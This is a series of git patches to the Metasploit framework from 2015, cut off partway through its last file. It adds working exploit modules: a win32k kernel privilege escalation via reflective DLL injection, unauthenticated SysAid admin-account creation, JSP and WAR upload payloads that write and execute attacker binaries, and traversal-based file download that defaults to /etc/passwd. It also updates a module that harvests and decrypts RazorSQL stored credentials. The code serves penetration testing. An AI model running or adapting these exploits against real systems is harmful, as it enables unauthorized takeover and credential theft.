+++ b/external/source/exploits/make.bat @@ -54,6 +54,13 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2015-1701 (copy_client_image)" + PUSHD CVE-2015-1701 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + IF "%ERRORLEVEL%"=="0" ( ECHO "Building CVE-2013-1300 (schlamperei)" PUSHD CVE-2013-1300 diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb new file mode 100644 index 0000000000..8c52337476 --- /dev/null +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -0,0 +1,135 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows ClientCopyImage Win32k Exploit', + 'Description' => %q{ + This module exploits improper object handling in the win32k.sys kernel mode driver. + This module has been tested on vulnerable builds of Windows 7 x64 and x86. The + exploit should also work on earlier builds of windows. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Unknown', # vulnerability discovery and exploit in the wild + 'hfirefox', # Code released on github + 'OJ Reeves' # msf module + ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + }, + 'Targets' => [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + ['CVE', '2015-1701'], + ['MSB', 'MS15-051'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'], + ['URL', 'https://github.com/hfiref0x/CVE-2015-1701'], + ['URL', 'https://technet.microsoft.com/library/security/MS15-051'] + ], + 'DisclosureDate' => 'May 12 2015', + 'DefaultTarget' => 0 + })) + end + + def check + os = sysinfo["OS"] + + if os !~ /windows/i + return Exploit::CheckCode::Unknown + end + + if sysinfo["Architecture"] =~ /(wow|x)64/i + arch = ARCH_X86_64 + elsif sysinfo["Architecture"] =~ /x86/i + arch = ARCH_X86 + end + + file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + major, minor, build, revision, branch = file_version(file_path) + vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + return Exploit::CheckCode::Safe if build > 7601 + + return Exploit::CheckCode::Detected + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + if check == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86 + fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') + elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64 + fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') + end + + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + # Reader Sandbox won't allow to create a new process: + # stdapi_sys_process_execute: Operation failed: Access is denied. + print_status('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + if target.arch.first == ARCH_X86 + dll_file_name = 'cve-2015-1701.x86.dll' + else + dll_file_name = 'cve-2015-1701.x64.dll' + end + + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name) + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end + +end From a6467f49ec5306ab8e8c0d0a3ddc5563f7358da0 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 3 Jun 2015 22:17:25 +1000 Subject: [PATCH 0289/1013] Update description --- .../exploits/windows/local/ms15_051_client_copy_image.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index 8c52337476..02ce84169b 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -21,8 +21,8 @@ class Metasploit3 < Msf::Exploit::Local 'Name' => 'Windows ClientCopyImage Win32k Exploit', 'Description' => %q{ This module exploits improper object handling in the win32k.sys kernel mode driver. - This module has been tested on vulnerable builds of Windows 7 x64 and x86. The - exploit should also work on earlier builds of windows. + This module has been tested on vulnerable builds of Windows 7 x64 and x86, and + Windows 2008 R2 SP1 x64. The exploit should also work on earlier builds of windows. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -44,8 +44,7 @@ class Metasploit3 < Msf::Exploit::Local 'Space' => 4096, 'DisableNops' => true }, - 'References' => - [ + 'References' => [ ['CVE', '2015-1701'], ['MSB', 'MS15-051'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'], From 24ec3b2fb5b0cc106d3f0b35b855b2290179993f Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Wed, 3 Jun 2015 13:46:59 -0300 Subject: [PATCH 0290/1013] Changed vprint_error to fail_with method. --- modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb index 8cd632c729..9b667fde35 100644 --- a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary ) unless res && res.body - vprint_error("#{peer} - Server did not respond in an expected way.") + fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way.") return end From b305fa62f4f837e27dcb68f612df5ef7047e6bd0 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Wed, 3 Jun 2015 14:46:59 -0300 Subject: [PATCH 0291/1013] Changed vprint_error when nothing was downloaded. --- modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb index 9b667fde35..95fb471c7f 100644 --- a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - File saved in: #{path}") else - print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.") + print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter or verify the correct filename.") end end end From 656f64d9bd5755a3ba060216f9d79159df1e61d8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 3 Jun 2015 13:49:06 -0500 Subject: [PATCH 0292/1013] Update razorsql to use the new cred API --- .../windows/gather/credentials/razorsql.rb | 97 ++++++++++++++----- 1 file changed, 72 insertions(+), 25 deletions(-) diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index 23400579ac..4e7231c840 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -9,6 +9,7 @@ require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post + include Msf::Post::File include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles @@ -30,6 +31,48 @@ class Metasploit3 < Msf::Post )) end + def get_profiles + profiles = [] + grab_user_profiles.each do |user| + next unless user['ProfileDir'] + ['.razorsql\\data\\profiles.txt', 'AppData\Roaming\RazorSQL\data\profiles.txt'].each do |profile_path| + file = "#{user['ProfileDir']}\\#{profile_path}" + profiles << file if file?(file) + end + end + + profiles + end + + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + post_reference_name: self.refname, + session_id: session_db_id, + origin_type: :session, + private_data: opts[:password], + private_type: :password, + username: opts[:user] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + + def run print_status("Checking All Users...") creds_tbl = Rex::Ui::Text::Table.new( @@ -47,19 +90,17 @@ class Metasploit3 < Msf::Post ] ) - grab_user_profiles().each do |user| - next if user['ProfileDir'] == nil - file= user['ProfileDir'] + "\\.razorsql\\data\\profiles.txt" - content = get_content(file) - if content and not content.empty? - creds = parse_content(creds_tbl, content, user['UserName']) - creds.each do |c| - creds_tbl << c - end + get_profiles.each do |profile_path| + content = get_content(profile_path) + next if content.blank? + parse_content(creds_tbl, content).each do |cred| + creds_tbl << cred end end - if not creds_tbl.rows.empty? + if creds_tbl.rows.empty? + print_status("No creds collected.") + else path = store_loot( 'razor.user.creds', 'text/csv', @@ -70,8 +111,6 @@ class Metasploit3 < Msf::Post ) print_line(creds_tbl.to_s) print_status("User credentials stored in: #{path}") - else - print_error("No data collected") end end @@ -86,9 +125,8 @@ class Metasploit3 < Msf::Post return content end - def parse_content(table, content, username) + def parse_content(table, content) creds = [] - print_line("Account: #{username}\n") content = content.split(/\(\(Z~\]/) content.each do |db| database = (db.scan(/database=(.*)/).flatten[0] || '').strip @@ -100,19 +138,22 @@ class Metasploit3 < Msf::Post pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip # Decrypt if there's a password - pass = decrypt(pass) if not pass.empty? + decrypted_pass = decrypt(pass) unless pass.blank? + + pass = decrypted_pass ? decrypted_pass : pass # Store data creds << [user, pass, type, host, port, dbname, database] - # Reort auth info while dumping data - report_auth_info( - :host => host, - :port => port, - :sname => database, - :user => user, - :pass => pass, - :type => 'password' + # Don't report if there's nothing to report + next if user.blank? && pass.blank? + + report_cred( + ip: rhost, + port: port.to_i, + service_name: database, + user: user, + password: pass ) end @@ -140,10 +181,16 @@ class Metasploit3 < Msf::Post "a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" , "}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`" } - password='' + password = '' for letter in encrypted_password.chomp.each_char - password << magic_key[letter] + char = magic_key[letter] + + # If there's a nil, it indicates our decryption method does not work for this version. + return nil if char.nil? + + password << char end + return password end end From 765077d74190a56266b4a95d146754d29c2f2190 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 21:38:43 +0100 Subject: [PATCH 0293/1013] Create sysaid_admin_acct.rb --- .../auxiliary/admin/http/sysaid_admin_acct.rb | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 modules/auxiliary/admin/http/sysaid_admin_acct.rb diff --git a/modules/auxiliary/admin/http/sysaid_admin_acct.rb b/modules/auxiliary/admin/http/sysaid_admin_acct.rb new file mode 100644 index 0000000000..08e764db8e --- /dev/null +++ b/modules/auxiliary/admin/http/sysaid_admin_acct.rb @@ -0,0 +1,89 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SysAid Help Desk Administrator Account Creation', + 'Description' => %q{ + This module exploits a vulnerability in SysAid Help Desk that allows an + unauthenticated user to create an administrator account. Note that this + exploit will only work once! Any subsequent attempts will fail. + This module has been tested on SysAid 14.4 in Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'CVE-2015-2993' ], + [ 'OSVDB', 'TODO' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + [ 'URL', 'TODO_FULLDISC_URL' ] + ], + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8080]), + OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), + OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), + OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']) + ], self.class) + end + + + def run + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'createnewaccount'), + 'method' =>'GET', + 'vars_get' => { + 'accountID' => Rex::Text.rand_text_numeric(4), + 'organizationName' => Rex::Text.rand_text_alpha(rand(4) + rand(8)), + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'masterPassword' => 'master123' + } + }) + if res && res.code == 200 && res.body.to_s =~ /Error while creating account/ + # No way to know whether this worked or not, it always says error + print_good("#{peer} - Created administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'], + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: 'Administrator', + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + else + print_error("#{peer} - Administrator account creation failed") + end + end +end From 193b7bcd2e689bd6fd3b2c049e29febc7493c9d6 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 21:44:02 +0100 Subject: [PATCH 0294/1013] Create sysaid_auth_file_upload.rb --- .../multi/http/sysaid_auth_file_upload.rb | 282 ++++++++++++++++++ 1 file changed, 282 insertions(+) create mode 100644 modules/exploits/multi/http/sysaid_auth_file_upload.rb diff --git a/modules/exploits/multi/http/sysaid_auth_file_upload.rb b/modules/exploits/multi/http/sysaid_auth_file_upload.rb new file mode 100644 index 0000000000..68be18ebf4 --- /dev/null +++ b/modules/exploits/multi/http/sysaid_auth_file_upload.rb @@ -0,0 +1,282 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SysAid Help Desk Administrator Portal Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in SysAid Help Desk. + The vulnerability exists in the ChangePhoto.jsp in the administrator portal, + which does not handle correctly directory traversal sequences and does not + enforce file extension restrictions. You need to have an administrator account, + but there is a Metasploit auxiliary module that can create one for you. + This module has been tested in SysAid v14.4 in both Linux and Windows. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'CVE-2015-2994' ], + [ 'OSVDB', 'TODO' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + [ 'URL', 'TODO_FULLDISC_URL' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 5 }, + 'Privileged' => false, + 'Platform' => %w{ linux win }, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'SysAid Help Desk v14.4 / Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'SysAid Help Desk v14.4 / Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8080]), + OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), + OptString.new('USERNAME', [true, 'The username to login as']), + OptString.new('PASSWORD', [true, 'Password for the specified username']), + ], self.class) + end + + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'errorInSignUp.htm'), + 'method' => 'GET' + }) + if res && res.code == 200 && res.body.to_s =~ /css\/master\.css\?v([0-9]{1,2})\.([0-9]{1,2})/ + major = $1.to_i + minor = $2.to_i + if major == 14 && minor == 4 + return Exploit::CheckCode::Appears + elsif major > 14 + return Exploit::CheckCode::Safe + end + end + # Haven't tested in versions < 14.4, so we don't know if they are vulnerable or not + return Exploit::CheckCode::Unknown + end + + + def authenticate + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'Login.jsp'), + 'method' => 'POST', + 'vars_post' => { + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + }) + if res && res.code == 302 && res.get_cookies + return res.get_cookies + else + return nil + end + end + + + def upload_payload(payload, is_exploit) + post_data = Rex::MIME::Message.new + post_data.add_part(payload, + "application/octet-stream", 'binary', + "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(8))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(10))}.jsp\"") + + data = post_data.to_s + + if is_exploit + print_status("#{peer} - Uploading payload...") + end + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'ChangePhoto.jsp'), + 'method' => 'POST', + 'cookie' => @cookie, + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'vars_get' => { 'isUpload' => 'true' } + }) + + if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = \"(.*)\"/ + if is_exploit + print_status("#{peer} - Payload uploaded successfully") + end + return $1 + else + return nil + end + end + + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Determining target") + os_finder_payload = %Q{<%out.println(System.getProperty("os.name"));%>} + url = upload_payload(os_finder_payload, false) + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], url), + 'method' => 'GET', + 'cookie' => @cookie, + 'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) } + }) + + if res && res.code == 200 + if res.body.to_s =~ /Linux/ + register_files_for_cleanup('webapps/' + url) + return targets[1] + elsif res.body.to_s =~ /Windows/ + register_files_for_cleanup('root/' + url) + return targets[2] + end + end + + return nil + end + + + def generate_jsp_payload + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + exe = generate_payload_exe(opts) + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit_native + + + return jsp_name + end + + + def exploit + @cookie = authenticate + if not @cookie + print_error("#{peer} - Unable to authenticate with the provided credentials.") + return + else + print_status("#{peer} - Authentication was successful with the provided credentials.") + end + + @my_target = pick_target + if @my_target.nil? + print_error("#{peer} - Unable to select a target, we must bail.") + return + else + print_status("#{peer} - Selected target #{@my_target.name}") + end + + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + jsp_payload = generate_jsp_payload + jsp_path = upload_payload(jsp_payload, true) + if not jsp_path + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + end + + if @my_target == targets[1] + register_files_for_cleanup('webapps/' + jsp_path) + else + register_files_for_cleanup('root/' + jsp_path) + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], jsp_path), + 'method' => 'GET', + 'cookie' => @cookie, + 'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) } + }) + end +end From 62993c35d3cd8ba25efb26d8f8ec3534cbe6ccce Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 21:45:14 +0100 Subject: [PATCH 0295/1013] Create sysaid_rdslogs_fle_upload.rb --- .../multi/http/sysaid_rdslogs_fle_upload.rb | 127 ++++++++++++++++++ 1 file changed, 127 insertions(+) create mode 100644 modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb diff --git a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb new file mode 100644 index 0000000000..752e9ec7fd --- /dev/null +++ b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'zlib' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SysAid Help Desk rdslogs Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. + The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated + file uploads and handles zip file contents in a insecure way. Combining both weaknesses + a remote attacker can accomplish remote code execution. Note that this will only work if the + target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduce a protection + against null byte injection in file names. This module has been tested successfully on version + v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid + seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability + from being exploited. + }, + 'Author' => + [ + 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'CVE-2015-2995' ], + [ 'OSVDB', 'TODO' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + [ 'URL', 'FULLDISC_URL' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Privileged' => false, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + Opt::RPORT(8080), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for WAR deployment', 15]), + OptString.new('TARGETURI', + [true, 'Base path to the SysAid application', '/sysaid/']) + ], self.class) + end + + + def check + servlet_path = 'rdslogs' + bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'vars_get' => { + 'rdsName' => bogus_file + } + }) + if res and res.code == 200 + return Exploit::CheckCode::Detected + end + end + + + def exploit + app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + tomcat_path = '../../../../' + servlet_path = 'rdslogs' + + # We need to create the upload directories before our first attempt to upload the WAR. + print_status("#{peer} - Creating upload directory") + bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))), + 'ctype' => 'application/xml', + 'vars_get' => { + 'rdsName' => bogus_file + } + }) + + war_payload = payload.encoded_war({ :app_name => app_base }).to_s + + # We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail + print_status("#{peer} - Uploading WAR file...") + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'data' => Zlib::Deflate.deflate(war_payload), + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'rdsName' => tomcat_path + app_base + ".war" + "\x00" + } + }) + + # The server either returns a 200 OK when the upload is successful. + if res and (res.code == 200) + print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + + " seconds for deployment") + register_files_for_cleanup("webapps/" + app_base + ".war") + sleep(datastore['SLEEP']) + else + fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed") + end + + print_status("#{peer} - Executing payload, wait for session...") + send_request_cgi({ + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + end +end From 72b7982e7ae4849ad56a76c60fe239c181124463 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 21:46:13 +0100 Subject: [PATCH 0296/1013] Create sysaid_file_ --- modules/auxiliary/admin/http/sysaid_file_ | 150 ++++++++++++++++++++++ 1 file changed, 150 insertions(+) create mode 100644 modules/auxiliary/admin/http/sysaid_file_ diff --git a/modules/auxiliary/admin/http/sysaid_file_ b/modules/auxiliary/admin/http/sysaid_file_ new file mode 100644 index 0000000000..38bd0f6af7 --- /dev/null +++ b/modules/auxiliary/admin/http/sysaid_file_ @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "SysAid Help Desk Arbitrary File Download", + 'Description' => %q{ + This module exploits two vulnerabilities in SysAid Help Desk that allows + an unauthenticated user to download arbitrary files from the system. First an + information disclosure vulnerability (CVE-2015-2997) is used to obtain the file + system path, and then we abuse a directory traversal (CVE-2015-2996) to download + the file. Note that there are some limitations on Windows: 1) the information + disclosure vulnerability doesn't work; 2) we can only traverse the current drive, + so if you enter C:\afile.txt and the server is running on D:\ the file will not + be downloaded. This module has been tested with SysAid 14.4 on Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'CVE-2015-2996' ], + [ 'CVE', 'CVE-2015-2997' ], + [ 'OSVDB', 'TODO' ], + [ 'OSVDB', 'TODO' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + [ 'URL', 'TODO_FULLDISC_URL' ] + ], + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8080]), + OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), + OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with 4 back slashes)', '/etc/passwd']), + ], self.class) + end + + + def get_traversal_path + print_status("#{peer} - Trying to find out the traversal path...") + large_traversal = '../' * rand(15...30) + servlet_path = 'getAgentLogFile' + + # We abuse getAgentLogFile to obtain the + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'data' => 